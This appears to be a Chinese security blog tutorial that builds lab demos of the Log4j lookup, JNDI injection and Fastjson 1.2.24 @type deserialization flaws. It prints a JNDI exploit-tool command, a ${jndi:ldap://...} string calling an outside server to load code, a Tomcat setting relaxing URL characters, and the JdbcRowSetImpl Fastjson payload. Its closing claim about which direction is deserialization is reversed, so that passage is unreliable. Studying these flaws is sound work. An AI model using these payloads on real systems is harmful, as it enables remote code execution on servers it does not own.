Java安全—log4j日志&FastJson序列化&JNDI注入

前言

log4j和fastjson都是这几年比较火的组件，前者是用于日志输出后者则是用于数据转换，今天我们从源码来说一下这两个组件为何会造成漏洞。

实验环境

这里的idea要进行一下配置，因为我们要引用第三方组件，而这些第三方组件都是从国外的库来下载的，我们需要配置成国内的库不然就比较慢啥的。

Maven 配置：https://www.jb51.net/article/259780.htm

需要注意一下，最后测试的步骤把导入org.junit.Test换成导入org.junit.jupiter.api.Test即可解决报错。

log4j

Apache 的一个开源项目，通过使用 Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI 组件，甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。

先新建一个java项目，命名为Log4j---demo。

可以在外部库看到引用了很多第三方库，但是没有Log4j，我们需要引进一下。

访问这个jar包网站，直接搜log4j。

https://mvnrepository.com/

可以看到log4j这个组件在2.17.1版本之后就没有漏洞了，我们这里选择2.13.1版本的，其它的也行。

点击进去选择Maven。

复制里面的内容到pom.xml这个文件下面，然后更新，就可以看到这个外部库被下载下来啦。

新建一个名为Log4j的文件。

写入以下的代码。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;



public class Log4jTest {
    private static final Logger logger = LogManager.getLogger(Log4jTest.class.getName());
    public static void main(String[] args) {
        logger.error("Hello World");
    }
}

运行输出日志Hello World。

ok现在我们怎么利用呢，我们把代码修改一下，那么现在是会输出${java:os}还是说输出别的呢。

直接运行发现并没有输出 ${java:os}，而是输出了我们系统的版本信息，这是为啥呢？原来当Log4j在输出日志的时候遇到$ 符号就会把{}里面的东西当作代码来执行，从而造成RCE！！！

当我们的code这个变量是可控的时候就会造成RCE漏洞，所以我们现在搞个网站来试试，新建一个项目，命名为log4j-web。

选择JavaEE8。

再新建一个java文件，命名log4jServlet。

记得到pom.xml这个文件里面，把log4j外部库导入，接着写入以下代码。

package com.sf.maven.log4jweb;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/log4j")
public class log4jServlet extends HttpServlet {
    private static final Logger log = LogManager.getLogger(log4jServlet.class);

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String code = req.getParameter("code");
      log.error(code);

    }
}

我们点击编辑配置。

点击左上角的＋号，选择Tomcat服务器，选择本地的。

这个应用程序服务器需要你去下载一个才行，直接搜Tomcat下载即可，JDK1.8的话建议配9.0版本的Tomcat。

下载好Tomcat直接点击配置导入即可。

接着点击部署。

点击+号，选择工件，把我们两个log4j的工件部署进去。

最后点击运行就会在浏览器自动打开一个页面。

访问我们的log4j页面，对code参数传参。

回到idea这里，可以看到11被当作日志给输出来啦。

接着执行命令，直接给我跳到404了，这是咋回事呢。

原因是tomcat的版本问题，好像是tomcat7.9以上的版本，都不支持请求链接上带有特殊字符。否则会报400错误，这是因为Tomcat严格按照 RFC 3986规范进行访问解析，而 RFC3986规范定义了Url中只允许包含英文字母（a-zA-Z）、数字（0-9）、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符：! * ' ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中，所以会报这个错。

所以我们直接去修改Tomcat的配置文件server.xml，把原来的注释掉，改为如下。

<Connector port="8080" protocol="HTTP/1.1"
               relaxedQueryChars="[]|{}^&#x5c;&#x60;&quot;&lt;&gt;"
               connectionTimeout="20000"
               redirectPort="8443" /
/>

重新运行代码执行命令，终于成功啦。

Jndi注入

说到log4j就不得不提Jndi注入了，全称Java Naming and Directory Interface (Java 命名和目录接口 )，JNDI 提供统一的客户端 API，通过不同的服务供应接口(SPI)的实现，由管理者将 JNDI API 映射为特定的命名服务和目录服务，使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

我们利用这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具来演示一下jndi注入，具体原理的话下篇文章讲，生成命令为"calc"访问IP为8.149.141.189的连接。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx.xxx

随便选个链接，ldap或者rmi都是一样的，生成出来的连接还不能直接用，我们加个括号。

${jndi:ldap://8.xxx.xxx.xxx:1389/h9joif}

这时候我们的本地电脑的计算机给我弹出来了，因为calc就是打开电脑计算机的命令。

FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与 json，XML 等格式相互转换与解析，其中 Json 以跨语言，跨前后端的优点在开发中被频繁使用，基本上是标准的数据交换格式。它的接口简单易用，已经被广泛使用在缓存序列化，协议交互，Web 输出等各种应用场景中。FastJson 是阿里巴巴的的开源库，用于对 JSON 格式的数据进行解析和打包。说这么多，其实我说白了就是一个数据类型转换的第三方组件。

新建一个项目叫fastjson-demo。

找个有漏洞的FastJson版本组件，我这里用1.2.24版本的。

把代码复制进去下载第三方库，和上面一样。

如果报错的话是没有更新源。

把maven改为我们自己的源，不要默认的源，如果不懂就看上面链接的文章。

换了之后秒下载完成。

先新建一个软甲包，叫com.wlwznb。

再新建一个java文件，命名user。

写入以下代码，这些代码都是idea自带的直接tab补全即可。

package com.wlwznb;
public class user {
    private String name;
    private int age;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
        System.out.println(this.name);
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
        System.out.println(this.age);
    }
}

再新建一个文件叫fastjson。

我们用这个FastJson这个文件去处理user文件里面的数据，简单写一下代码。

输出。

我们现在的age和name都是字符串类型的数据，现在我要把它转换为Json的数据格式，可以用java自带的API来进行转换，但是自带的API太麻烦了我不想用，所以我引入第三方组件------FastJson。这里在原来的代码中加上两句代码，调用FastJson这个组件。

可以看到输出的数据是Json格式的。

我们现在来看看漏洞是这么造成的，把这FastJson的代码补充完整，就是输出类型。

可以看到这次输出的Json数据多了@type和com.wlwznb.user。

这个@type指定了com.wlwznb.user这个类，并且执行了里面的代码。OK，现在我们再新建一个文件命名为Run，接着写入一个命令执行的代码，执行calc命令。

再在原有的代码基础上，加上两行代码，就是把Json数据转换为字符串格式，注意此时我们的@type指定的类不再是原本的com.wlwznb.user，而是我们刚刚编写的用于命令执行的类com.wlwznb.Run。

运行代码成功弹出计算器，说上面我们说的是对的，这里我指定了com.wlwznb.Run这个类，那么在数据转换的过程就会执行这个类里面的代码。

那在实战中不可能说我们自己去写一个类呀，那咋搞。我们来看一个最典型的payload，这里指定了com.sun.rowset.JdbcRowSetImpl这个类，这个玩意是Java自带的。然后这个类里面的setAutoCommit()方法会调用 connect() 函数，connect()函数又会调用 InitialContext.lookup(dataSourceName)这个函数，InitialContext.lookup这个函数的作用就是查找并返回绑定到指定名称的对象，通俗来讲就是去请求一个资源。然而这个dataSourceName参数是可控的，所以我们指定一个恶意的资源，让它通过rmi或者ldap去请求我们的资源，并且执行我们恶意资源中的代码，从而造成jndi注入。

如果你不懂Java中的类、方法是啥意思，简答来说类就是python中封装好的模块，直接调用即可，模块里面还有很多函数啥的，这些在Java中叫方法，其实就是一样的东西。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

PS：已经尽最大的努力讲明白了

到这里可能会有人有疑问，不是说反序列话造成的漏洞吗，反序列化在哪里？这里把test这个Json数据变成字符串过程就是反序列化，上面把字符串变成Json数据就是序列化，我们讲数据转换只是为了方便理解。

总结

这里就讲了log4j和FastJson两个组件所产生的漏洞，具体怎么利用就下次讲了，还有这个Jndi注入。

最后还是要声明一下，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。